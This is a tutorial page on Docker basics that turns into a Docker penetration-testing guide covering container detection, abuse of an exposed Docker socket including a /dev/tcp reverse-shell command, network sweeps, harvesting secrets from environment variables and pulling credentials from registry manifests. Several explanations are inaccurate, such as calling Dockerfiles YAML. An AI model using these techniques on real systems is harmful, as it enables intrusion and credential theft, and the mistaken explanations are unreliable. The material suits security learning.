Dockers

Basic Intro To Dockers

Dockers containers are used for virtualization purposes for speed, flexibility, and security. They are much like virtual machines in that they run separately, but with the exception that dockers use the same kernel as the main OS in addition to the same RAM and CPU resources.

Containerization

By definition, it is the process of packaging an application and the necessary resources (such as libraries and packages) required into one package named a container to make it portable and run faster.

Benefits of Containerization

  • Security: by isolating the application and its dependencies into a single package or container, if a container is compromised other containers will stay unaffected.

  • Convenience: applications packaged into containers will have their dependencies and necessary components packaged with them which means they will run on any OS as long as the OS supports containerization engine or #Dockers.

The role of Dockers

Dockers form a platform for these containers, which are packaged with applications to be deployed, managed, and shared easily.

Definitions

#DockerEngine is essentially an API that runs on the host operating system, which communicates between the operating system and containers to access the system's hardware (such as CPU, RAM, networking, and disk). Docker Engines allow you to connect Dockers together, export and import containers, and transfer files between the containers and the main OS.

#DockerContainer: Containers are made to run independently of other processes, using only the resources they need. This means that containers only use the amount of memory, processing time, and disk space required for the program and do not interact with one another or the host operating system.

#DockerHub: Users can create, store, manage, test, and distribute Docker images using the cloud-based registry known as Docker Hub.

#DockerImages : A Docker image serves as a template for constructing containers. Using the build command, one can produce Docker images. Compared to virtual machines, Docker images are smaller and more efficient.

Docker significantly more quickly and use a lot less storage.

#DockerRegistry : All Docker images are kept in the Docker Registry. Users can utilize a public registry like Docker Hub or a local registry on their computer.

How Dockers Are Built?

Docker uses the programming syntax YAML. to allow developers to instruct how a container should be built and what is run. This is a significant reason why Docker is so portable and easy to debug. By sharing the instructions and the commands, dockers can be built and run on any device. All instructions are stored in the images which dictate how the container will be built and deployed that's why docker containers are shared using images

Building a Docker Container

To build a docker container, we need the docker image which we can either pull or build by eventually building what's called the DockerFile which contains the instructions that the docker executes when it's run.

Creating a DockerFile

To get started with Dockerfiles, we need to know some basic syntax and instructions. Dockerfiles are formatted in the following way:

INSTRUCTION argument

#Example-DockerFile The below dockerfile does the below

  1. Use the "Ubuntu" (version 22.04) operating system as the base.

  2. Set the working directory to be the root of the container.

  3. Update the APT repository

  4. Install apache2

  5. Run Apache2 web server'.

# Use Ubuntu 22.04 as the base operating system of the container
FROM ubuntu:22.04

# Set the working directory to the root of the container
WORKDIR /

# Update the APT repository to ensure we get the latest version of apache2
RUN apt-get update -y

# Install apache2
RUN apt-get install apache2 -y

# Tell the container to expose port 80 to allow us to connect to the web server
EXPOSE 80

# Tell the container to run the apache2 service
CMD ["apache2ctl", "-D", "FOREGROUND"]

# Create test.txt
RUN touch test.txt

FROM specifies the operating system that we want to use WORKDIR sets the working directory of the docker RUN executes a command EXPOSE Specifies the port CMD specifies what command is run when the container starts.

Building The Docker with the Image

After we have created an image, we can then proceed and build a docker container

docker build -t testdocker .

-t is used to name the docker container

. specifies the path to the Dockerfile that we built above.

Running Docker Containers

Back to the above example, we can run Docker after we have built it with the below command

docker run -d --name apachewebserver -p 80:80 testdocker

Running Docker Containers

Back to the above example, we can run the docker after we have built it with the below command

docker run -d --name apachewebserver -p 80:80 testdocker

-d specifies a name for the docker.

Now lets go back to basics and understand the basics of running docker containers

The general syntax to run a docker container is below

docker run [OPTIONS] IMAGE_NAME [COMMAND]

#example

docker run -it nginx /bin/bash

The command above runs the container named nginx by using the options -it to interact with the container and the command /bin/bash to spawn a shell once the container is run. We can verify that we have successfully launched a shell because our prompt will change to another user account and hostname. The hostname of a container is the container ID (which can be found by using docker ps).

The below command runs the container in the background which is called the detached mode

docker run -d nginx /bin/bash

The below command binds a port for the docker to listen on. You would use this instruction if you are running an application or service (such as a web server) in the container and wish to access the application/service by navigating to the IP address.

docker run -p 80:80 nginx

The below command removes the docker once it has finished running.

docker rm -f nginx

Once you finished running the container, you can view a list of the running and stopped containers using the below command

docker ps -a

The above command reveals the following about a running container

  • The container's ID

  • What command is the container running

  • When was the container created

  • How long has the container been running

  • What ports are mapped

  • The name of the container

Downloading and running a ready docker image file

We need two items:

  • The container image name: for example an image name could be nginx

  • The tag: the tag is used to specify different variations of an image. For example, an image can have the same name but different tags to indicate a different version. When specifying a tag, you must include a colon : between the image name and tag

For example:

docker pull ubuntu:latest

The above command retrieves a container image name ubuntu with its tag latest to specify the latest version

docker pull ubuntu:22.04

This command will pull version 22.04 of the “ubuntu” image.

Then you follow the above steps to build and run the docker image.

Auditing Docker Images

To list all images stored on the local system in addition to verifying if an image has been downloaded correctly and to view a little bit more information about it, we use the below command

docker image ls

Removing a docker image

The output of the list command above will help you in determining the name and tag of the image that you want to remove.

shellCopy codedocker image rm ubuntu:22.04

Running and Building Multiple Containers Together

Docker Compose allows us to create multiple containers as "microservices" as one singular "service" to run more dynamic and complex applications such as an apache webserver and a mysql database because more often than not, applications require additional services to run, which we cannot do in a single container. Docker Compose is the solution for that.

Installing Docker Compose

Please check the documentation below to view to install Docker Compose

https://docs.docker.com/compose/install/

https://docs.docker.com/compose/reference/

docker-compose.yml_

This file is extremely important for efficient deployment, management and running of multiple docker containers all together at once. Check out the documentation below on examples and instructions on creating this file

https://docs.docker.com/compose/compose-file/

It is important to note that YAML requires indentation (a good practice is two spaces which must be consistent).

Scenario

Lets assume we want to run an ecommerce website that uses mysql database. We need more than one container therefore we choose docker-compose.

First we care the YAML config file docker-compose.yml

version: '3.3'
services:
  web:
    build: ./apache2
    networks:
      - test-commerce
    ports:
      - "80:80"
  database:
    image: mysql:latest
    networks:
      - test-commerce
    environment:
      - MYSQL_DATABASE=ecommerce
      - MYSQL_USERNAME=root
      - MYSQL_ROOT_PASSWORD=root
networks:
  test-commerce:

Version This is placed at the top of the file and is used to identify what version of Compose the docker-compose.yml is written for. Services This instruction marks the beginning of the containers to be managed. build This instruction defines the directory containing the Dockerfile for this container/service. In the above file the Dockerfile name is apache2 networks This instruction defines what networks the container will be a part of. ports This instruction publishes ports to the exposed ports (this depends on the image/Dockerfile).

Once finished creating the docker-compose, we can proceed and run with the command below

docker-compose build
docker-compose start

Or both can be run in one command.

docker-compose up

To stop the containers

docker-compose stop

To stop and delete

docker-compose down

Dockers vs Virtual Machines

Docker looks similar to virtual machines, but the difference is that it runs directly on the kernel of the host by virtualising the OS and not on the hardware. Docker Service runs on the host itself and Containers runs on top of it. Virtual machines are considered more secure since they are more isolated and have their own operation system. environment This instruction is used to pass environment variables i.e. passwords,usernames,etc.

The concept of Docker Penetration Testing

How Dockers Get Compromised?

Usually attackers will compromise a container through the external facing application. If it is a web application, it can be exploited in the same way as other web applications. So basically attackers will compromise the software/service/application running within a specific container using traditional tools(attack methods/procedures and then leverage the attack by little modification to exploit the internals of an application.

If an attacker managed to exploit a web application running inside a container and get a shell access, the exploitation and access will be limited to that container environment alone and may not lead to the exploitation of the container's host. Sometimes this single/monolithic environment will provide post-exploitation opportunities for the attackers just like how they will do it in the traditional network.

Important remarks before you start

  • Every docker container has an ID and you will need this ID when you want to enumerate the container

Indications of a docker container

Usually we get shell on a system we wanna know if we landed on a docker environment.

  • .dockerenv file in the root file system

  • The user/directory of the user, permissions showing ls instead of names

  • In the user's home directory, some of them or all of them, don't exist in /etc/passwd which means that the home directory was mounted from the host. You can confirm by issuing the below command

mount | grep username

You find docker in the process list

ps auxww | grep docker

The word docker exists when you display the contents of cgroups

cat /proc/1/cgroup

Enumeration of the docker containers

Local Dockers

These type dockers you find when you first get a foothold on the machine. Usually the below methods are used to escalate your privileges.

Writable docker socket

We check if /var/run/docker.sock is writable and by whom. Also we check the running processes and see if the docker is listening on a port. The aim is to escape the docker and dump the root file system

listing docker images

docker -H tcp://localhost:8888 container ls

executing commands

docker -H tcp://localhost:8888 container exec hithere whoami

executing reverse shell

docker -H tcp://localhost:8888 container exec hithere bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Basic Info Gathering

This includes version of the docker, settings, networking information, processes running the containers and listing docker images

shellCopy codedocker version
docker info
docker network ls
docker ps -a
docker image ls #List images
  1. Check Docker Version:

    docker version

    This command displays the Docker version along with client and server information. It helps in identifying the installed version of Docker to ensure compatibility with Docker images and containers.

  2. Display Docker System Information:

    docker info

    This command provides a comprehensive overview of the Docker system, including the number of containers and images, storage driver, kernel version, system status, and more. It's useful for getting a snapshot of the current Docker environment.

  3. List Docker Networks:

    docker network ls

    This command lists all networks created on the Docker host. Docker networks facilitate communication between containers, and viewing existing networks can help manage container connectivity.

  4. List All Containers:

    docker ps -a

    This command shows all Docker containers, both running and stopped. It provides details such as container ID, image used, creation time, and status. This is crucial for container management, allowing users to see the state of all containers on the system.

  5. List Docker Images:

    docker image ls

    This command lists all Docker images available on the local system. Docker images are the basis of containers, and this command helps in managing images, including identifying unused or old images that may need cleanup.

Basic Docker Operations

This includes installing a docker (downloading the docker images, getting a shell inside a specific container, updating a container, exporting a container, exporting an image, stop running a certain container, removing a container, and removing an image and

  1. Install Docker:

    sudo apt-get install docker.io
  2. Enable Docker to start on boot:

    sudo systemctl enable docker
  3. Start Docker service:

    sudo systemctl start docker
  4. Download the Alpine image from a private registry:

    docker pull registry:5000/alpine #Download the image
  5. Access the shell inside a running container:

    docker exec -it <containerid> /bin/sh #Get shell inside a container

    Replace <containerid> with the actual ID of your container.

  6. Commit changes made in a container to create a new image:

    docker commit <containerid> registry:5000/name-container #Update container

    Replace <containerid> with the container's ID and name-container with your chosen name for the new image.

  7. Export an existing Docker image to a tar file:

    docker save -o ubuntu.tar <image> #Export an image

    Replace <image> with the name or ID of the image you wish to export.

  8. Stop a running container:

    docker stop <containerID> #Stop running container

    Replace <containerID> with the ID of the container you want to stop.

  9. Remove a container by its ID:

    docker rm <containerID> #Remove container ID

    Replace <containerID> with the ID of the container you wish to remove.

  10. Remove a Docker Container:

    docker rm <containerID>

    Replace <containerID> with the actual ID of the container you wish to remove. This command deletes a stopped container from your system. It's important to note that you cannot remove a running container without stopping it first or using the -f (force) option with docker rm.

Find IP Addresses of docker containers

To find the docker ip address, you need to perform a quick ping sweep scan on the main interface ip address

for i in {1..254}; do (ping -c 1 172.19.0.$i | grep "bytes from" | grep -v "Unreachable" &); done;

Port scan for docker containers

Perform a quick port scan on the docker ip

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null

Enumerating the docker image

Inside every container image is a [manifest.json] file which represents the container image layers. It also

contains configuration information that were used when the container image was first built.we can view this file using the [jq] tool for neat printing of its contents. Make sure you are inside the directory to which you have extracted the image container file [tar]

cat manifest.json | jq

You can inspect other configuration files you found in the manifest.json using the same method with [jq]. The configuration files can be found at the same directory where you have extracted the [tar] file.


Retrieving potential secrets from environment variables

Once inside the container, you can enumerate values stored inside the environment variable as it may contain secrets.

printenv

Docker Containers Vulnerabilities Docker Registry Exploitation

Goal

The goal of exploiting docker registries is grabbing the manifest file which contains valuable information about the application such as size, layers in addition to the [history] section that may reveal commands and credentials that were used when the docker image was first built and run.

Definition

At their core, Docker Registries serve as repositories for published Docker images. Creators of Docker images can easily switch between different iterations of their apps and share them with others by using

repositories. Although there are public registries like DockerHub, many Docker-using organizations have their own "private" registry.

Discovery

Docker registries run on port 5000/7000 by default but this can be changed. If you found these ports in your Nmap scan it means Docker registry is running on the target.

Enumeration

We can interact with Docker registry using several tools

1- Postman[https://www.postman.com/downloads/]

2- Insomnia[https://insomnia.rest/download/]

Listing all stored repos in the docker registry We send a GET request to the target domain on the port the docker registry is listening on.

http://docker-domain.com:5000/v2/_catalog

Listing the associated tags with the selected repo

From the last step, we will have listed all the repositories published on the Docker registry of the target. In order to interact with a specific repository we need its tag that specifies version requirements.

Lets say one of the repositories name is [web/app]. then to list the tags we send the below GET request.

http://docker-domain.com:5000/v2/web/app/tags/list

Grabbing the Manifest File

The manifest file contains various pieces of information about the application, such as size, layers and other information so it forms a useful piece of information to get a hold of. We can retrieve the manifest file with the below GET request after having selected the repository and the tag. We are assuming that the tag name is [tag1]

http://docker-domain.com:5000/v2/web/app/manifests/tag1

In the manifests file, you will be able to extract useful information about the commands that were executed with the docker first was published and run. These command may contain sensitive information such as passwords, database creds, etc.

Docker Images Reverse Engineering

Goal

The goal of reverse engineering docker images is to obtain information on the commands and instructions used to build the image in a detailed fashion. This could reveal useful information such as credentials and commands.

Pulling The Image

First we pull the target image from its repository

docker pull domain.com/ubuntu/latest

Then make sure to obtain the image id by running

docker images

Last updated